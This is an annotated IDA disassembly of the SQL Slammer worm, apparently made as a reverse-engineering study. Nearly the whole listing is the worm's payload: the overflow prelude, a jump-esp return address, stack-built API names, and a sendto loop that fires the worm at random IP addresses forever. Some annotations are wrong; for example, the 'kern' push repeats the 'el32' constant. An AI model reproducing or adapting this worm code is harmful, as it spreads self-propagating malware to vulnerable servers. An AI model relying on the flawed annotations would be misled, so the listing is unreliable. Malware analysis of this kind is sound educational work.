seg000:00000000 ;

seg000:00000000 ; +-------------------------------------------------------------------------+

seg000:00000000 ; | This file was generated by The Interactive Disassembler (IDA) |

seg000:00000000 ; | Copyright (c) 2019 Hex-Rays, <support@hex-rays.com> |

seg000:00000000 ; | License info: 48-3051-7114-0E |

seg000:00000000 ; | LSU (Louisiana State University), Academic licenses |

seg000:00000000 ; +-------------------------------------------------------------------------+

seg000:00000000 ;

seg000:00000000 ; Input SHA256 : 61D0096867F96613237F4E76E0D73C67EA81A21F1F0C0DA735B65D1D5562B3D2

seg000:00000000 ; Input MD5 : AB4234A07E53EDB78299A938C4300FC2

seg000:00000000 ; Input CRC32 : 16D72AA9

seg000:00000000

seg000:00000000 ; ---------------------------------------------------------------------------

seg000:00000000 ; File Name : C:\Users\golden\Downloads\sqlslammer-sample\sqlslammer-sample

seg000:00000000 ; Format : Binary file

seg000:00000000 ; Base Address: 0000h Range: 0000h - 01B2h Loaded length: 01B2h

seg000:00000000 ; Austin Mestayer

seg000:00000000 .686p

seg000:00000000 .mmx

seg000:00000000 .model flat

seg000:00000000

seg000:00000000 ; ===========================================================================

seg000:00000000

seg000:00000000 ; Segment type: Pure code

seg000:00000000 seg000 segment byte public 'CODE' use32

seg000:00000000 assume cs:seg000

seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

seg000:00000000 add al, 1 ; assign value 1 into al in preparation for buffer overflow

seg000:00000002 add [ecx], eax ; begin overflowing ecx mem loc with bytes of value 1

seg000:00000004 add [ecx], eax

seg000:00000006 add [ecx], eax

seg000:00000008 add [ecx], eax

seg000:0000000A add [ecx], eax

seg000:0000000C add [ecx], eax

seg000:0000000E add [ecx], eax

seg000:00000010 add [ecx], eax

seg000:00000012 add [ecx], eax

seg000:00000014

seg000:00000014 loc\_14: ; DATA XREF: seg000:00000178â†“r

seg000:00000014 add [ecx], eax

seg000:00000016 add [ecx], eax

seg000:00000018 add [ecx], eax

seg000:0000001A add [ecx], eax

seg000:0000001C add [ecx], eax

seg000:0000001E add [ecx], eax

seg000:00000020 add [ecx], eax

seg000:00000022 add [ecx], eax

seg000:00000024 add [ecx], eax

seg000:00000026 add [ecx], eax

seg000:00000028 add [ecx], eax

seg000:0000002A add [ecx], eax

seg000:0000002C add [ecx], eax

seg000:0000002E add [ecx], eax

seg000:00000030 add [ecx], eax

seg000:00000032 add [ecx], eax

seg000:00000034 add [ecx], eax

seg000:00000036 add [ecx], eax

seg000:00000038 add [ecx], eax

seg000:0000003A add [ecx], eax

seg000:0000003C add [ecx], eax

seg000:0000003E add [ecx], eax

seg000:00000040 add [ecx], eax

seg000:00000042 add [ecx], eax

seg000:00000044 add [ecx], eax

seg000:00000046 add [ecx], eax

seg000:00000048 add [ecx], eax

seg000:0000004A add [ecx], eax

seg000:0000004C add [ecx], eax

seg000:0000004E add [ecx], eax

seg000:00000050 add [ecx], eax

seg000:00000052 add [ecx], eax

seg000:00000054 add [ecx], eax

seg000:00000056 add [ecx], eax

seg000:00000058 add [ecx], eax

seg000:0000005A add [ecx], eax

seg000:0000005C add [ecx], eax

seg000:0000005E add [ecx], eax ; end overflow (38 adds performed)

seg000:00000060 add esp, ebx ; add ebx to esp in prep for high-level leave

seg000:00000062 leave ; move esp into ebp, and restore ebp

; page 11 RE4B

seg000:00000063 mov al, 42h ; 'B' ; move 42h into al

seg000:00000065 jmp short loc\_75 ; jump to loc\_75

seg000:00000067 ; ---------------------------------------------------------------------------

seg000:00000067 add [ecx], eax ; append 42 to ecx address 3 times

seg000:00000069 add [ecx], eax ; |

seg000:0000006B add [ecx], eax ; |

seg000:0000006D add [eax-52h], esi ; add esi at memory address eax - 52h

seg000:00000070 inc edx ; increment edx

seg000:00000071 add [eax-52h], esi ; add esi at memory address eax - 52h

seg000:00000074 inc edx ; increment edx

seg000:00000075

seg000:00000075 loc\_75: ; CODE XREF: seg000:00000065â†‘j

seg000:00000075 nop ;no operation (begin worm code)

seg000:00000076 nop

seg000:00000077 nop

seg000:00000078 nop

seg000:00000079 nop

seg000:0000007A nop

seg000:0000007B nop

seg000:0000007C nop

seg000:0000007D push 42B0C9DCh ; push 42B0C9DCh onto stack

; jump esp

seg000:00000082 mov eax, 1010101h ; move 1010101h into eax

; used to fix worm payload on stack

seg000:00000087 xor ecx, ecx ; clear ecx

seg000:00000089 mov cl, 18h ; prepare for 18h count loop

seg000:0000008B

seg000:0000008B loc\_8B: ; CODE XREF: seg000:0000008Câ†“j

seg000:0000008B push eax ; push eax onto stack (curr val = 1010101h)

seg000:0000008C loop loc\_8B ; loop 8B ecx times (ecx = 18h, so loop 24 times)

seg000:0000008E xor eax, 5010101h ; eax ⊕ 5010101h = 4000000h

seg000:00000093 push eax ; push eax onto stack

seg000:00000094 mov ebp, esp ; move esp into ebp

; <https://tinyurl.com/4ahh2pra> (hex to string)

seg000:00000096 push ecx ; push kernel32.dll

seg000:00000097 push 6C6C642Eh ; 2E 64 6C 6C = .dll

seg000:0000009C push 32336C65h ; 65 6C 33 32 = el32

seg000:000000A1 push 32336C65h ; 6B 65 72 6E = kern

seg000:000000A6 push ecx ; push GetTickCount

seg000:000000A7 push 746E756Fh ; 6F 75 6E 74 = ount

seg000:000000AC push 436B6369h ; 69 63 6B 43 = ickC

seg000:000000B1 push 54746547h ; 47 65 74 54 = GetT

;

; 0090| … *51* **68** 64 6C 6C **68** 65 6C 33

; 00A0| 32 **68** 6B 65 72 6E *51* **68** 6F 75 6E 74 **68** 69 63 6B

; 00B0| 43 **68** 47 65 74 54 …

; opcode **68** represents imm16/32 push

; *51* corresponds to reg ecx

; *51 68 -* push ecx

seg000:000000B6 mov cx, 6C6Ch ; move string 6C 6C into cx (“ll”)

seg000:000000BA push ecx ; push ws2\_32.dll (append cx onto lower pushes)

seg000:000000BB push 642E3233h ; 33 32 2E 64 = 32.d

seg000:000000C0 push 5F327377h ; 77 73 32 5F = ws2\_

seg000:000000C5 mov cx, 7465h ; move string 65 74 into cx (“et”)

seg000:000000C9 push ecx ; push socket (append cx onto lower pushes)

seg000:000000CA push 6B636F73h ; 73 6F 63 6B = sock

seg000:000000CF mov cx, 6F74h ; move string 74 6F into cx (“to”)

seg000:000000D3 push ecx ; push sendto (append cx onto lower pushes)

seg000:000000D4 push 646E6573h ; 73 65 6E 64 = send

seg000:000000D9 mov esi, 42AE1018h ; HMODULE \_\_stdcall LoadLibraryA(LPCSTR lpLibFileName)

seg000:000000DE lea eax, [ebp-2Ch] ; place address ebp-2Ch into eax

; address corresponds to ws2\_32.dll on stack

seg000:000000E1 push eax ; store eax

seg000:000000E2 call dword ptr [esi] ; call LoadLibraryA and pass ws2\_32.dll

seg000:000000E4 push eax ; store return

seg000:000000E5 lea eax, [ebp-20h] ; place address ebp-20h into eax

; address corresponds to GetTickCount

seg000:000000E8 push eax ; store GetTickCount address on stack

seg000:000000E9 lea eax, [ebp-10h] ; place address ebp-10h into eax

; address corresponds to kernel32.dll

seg000:000000EC push eax ; use as argument for LoadLibraryA

seg000:000000ED call dword ptr [esi] ; call function and pass kernel32.dll

seg000:000000EF push eax ; store return

seg000:000000F0 mov esi, 42AE1010h ; FARPROC \_\_stdcall GetProcAddress

; (HMODULE hModule, LPCSTR lpProcName)

seg000:000000F5 mov ebx, [esi] ; store function address into ebx

seg000:000000F7 mov eax, [ebx] ; store function address into eax

seg000:000000F9 cmp eax, 51EC8B55h ; check if also GetProcAddress?

seg000:000000FE jz short loc\_105 ; jump if matching, use FindResourceA

seg000:00000100 mov esi, 42AE101Ch ; HRSRC \_\_stdcall FindResourceA

; (HMODULE hModule, LPCSTR lpName, LPCSTR lpType)

seg000:00000105

seg000:00000105 loc\_105: ; CODE XREF: seg000:000000FEâ†‘j

seg000:00000105 call dword ptr [esi] ; call GetProcAddress (kernel32.dll, GetTickCount)

; returns GetTickCount() referenced inside eax

seg000:00000107 call eax ; call GetTickCount(), stores returned value in eax

seg000:00000109 xor ecx, ecx ; clear ecx

seg000:0000010B push ecx ; push 0

seg000:0000010C push ecx ; push 0

seg000:0000010D push eax ; store GetTickCount() return value

seg000:0000010E xor ecx, 9B040103h ; move 9B040103h into ecx

seg000:00000114 xor ecx, 1010101h ; 9B040103 ⊕ 1010101h = 9A05002h

seg000:0000011A push ecx ; push sockaddr struct

seg000:0000011B lea eax, [ebp-34h] ; place address ebp-34h into eax

; address corresponds to socket

seg000:0000011E push eax ; save on stack

seg000:0000011F mov eax, [ebp-40h] ; place address ebp-40h into eax

; address corresponds to ws2\_32.dll

seg000:00000122 push eax ; save on stack

seg000:00000123 call dword ptr [esi] ; call GetProcAddress(ws2\_32.dll, socket)

seg000:00000125 push 11h ; setup values for socket

seg000:00000127 push 2 ; |

seg000:00000129 push 2 ; |

seg000:0000012B call eax ; call socket(2, 2, 11h)

seg000:0000012D push eax ; push return value of socket, is descriptor

seg000:0000012E lea eax, [ebp-3Ch] ; place address ebp-3Ch into eax

; address corresponds to sendto

seg000:00000131 push eax ; save on stack

seg000:00000132 mov eax, [ebp-40h] ; place address ebp-40h into eax

; address corresponds to ws2\_32.dll

seg000:00000135 push eax ; save on stack

seg000:00000136 call dword ptr [esi] ; call GetProcAddress (ws2\_32.dll, sendto)

; returns address of sendto()

seg000:00000138 mov esi, eax ; move sendto() into esi

seg000:0000013A or ebx, ebx ; no change??

seg000:0000013C xor ebx, 0FFD9613Ch ; randomizes the ebx value

seg000:00000142

seg000:00000142 loc\_142: ; CODE XREF: seg000:00000176â†“j

seg000:00000142 mov eax, [ebp-4Ch] ; choose random seed storage location

seg000:00000145 lea ecx, [eax+eax\*2]

seg000:00000148 lea edx, [eax+ecx\*4] ; do a bunch of math to generate a random IP seed

seg000:0000014B shl edx, 4

seg000:0000014E add edx, eax

seg000:00000150 shl edx, 8

seg000:00000153 sub edx, eax

seg000:00000155 lea eax, [eax+edx\*4]

seg000:00000158 add eax, ebx

seg000:0000015A mov [ebp-4Ch], eax ; store newly generated seed in original location

;;;

;;; 142 - 15A randomly generate IP addresses to be used for targeting

;;;

;;; int sendto( SOCKET s, const char \*buf, int len, int flags, const sockaddr \*to, int tolen);

;;;

;;; int sendto( [ebp-54h], [ebp+3], 178h,0, ebp-50h,16 );

;;;

;;; after sendto() is called, loop back to random number generator and repeat forever

;;;

;;;

seg000:0000015D push 10h ; 10h = 16 for tolen (addr size)

seg000:0000015F lea eax, [ebp-50h] ; place address ebp-50h into eax (9A05002h)

seg000:00000162 push eax ; sockaddr to (target address)

seg000:00000163 xor ecx, ecx ; clear ecx

seg000:00000165 push ecx ; flags = 0

seg000:00000166 xor cx, 178h ; set packet size as 376 bytes (size of worm)

seg000:0000016B push ecx ; length of data pointed to by the *buf* parameter

seg000:0000016C lea eax, [ebp+3] ; place address ebp+3 into eax

seg000:0000016F push eax ; payload address

seg000:00000170 mov eax, [ebp-54h] ; place address ebp-54h into eax

seg000:00000173 push eax ; socket parameter

seg000:00000174 call esi ; call sendto() and pass previous 5 pushes

seg000:00000176 jmp short loc\_142 ; loop forever

;;;

;;; End of Sapphire

;;;

seg000:00000178 ; ---------------------------------------------------------------------------

seg000:00000178 cmp byte ptr ds:loc\_14+1, 0

seg000:0000017F add [edx-5DFFFFFFh], ah

seg000:00000185 add [eax], eax

seg000:00000185 ; ---------------------------------------------------------------------------

seg000:00000187 db 0

seg000:00000188 ; ---------------------------------------------------------------------------

seg000:00000188 add [eax-5BB8CC2h], al

seg000:0000018E or [eax], al

seg000:00000190 inc esi

seg000:00000191 dec eax

seg000:00000192 outsb

seg000:00000193 and ecx, [eax]

seg000:00000195 add [ebp+0], al

seg000:00000198 add [edx+edi\*8-7FFFFF6Eh], edx

seg000:0000019F adc ebp, esi

seg000:0000019F ; ---------------------------------------------------------------------------

seg000:000001A1 db 0FFh, 3Dh, 0B6h

seg000:000001A4 ; ---------------------------------------------------------------------------

seg000:000001A4 rcl byte ptr [esi], cl

seg000:000001A6 lodsd

seg000:000001A7 bound ecx, [ebx+56F0497h]

seg000:000001A7 ; ---------------------------------------------------------------------------

seg000:000001AD db 9Ah

seg000:000001AE db 1

seg000:000001AF ; ---------------------------------------------------------------------------

seg000:000001AF sub al, 15h

seg000:000001AF seg000 ends

seg000:000001AF

seg000:000001AF

seg000:000001AF end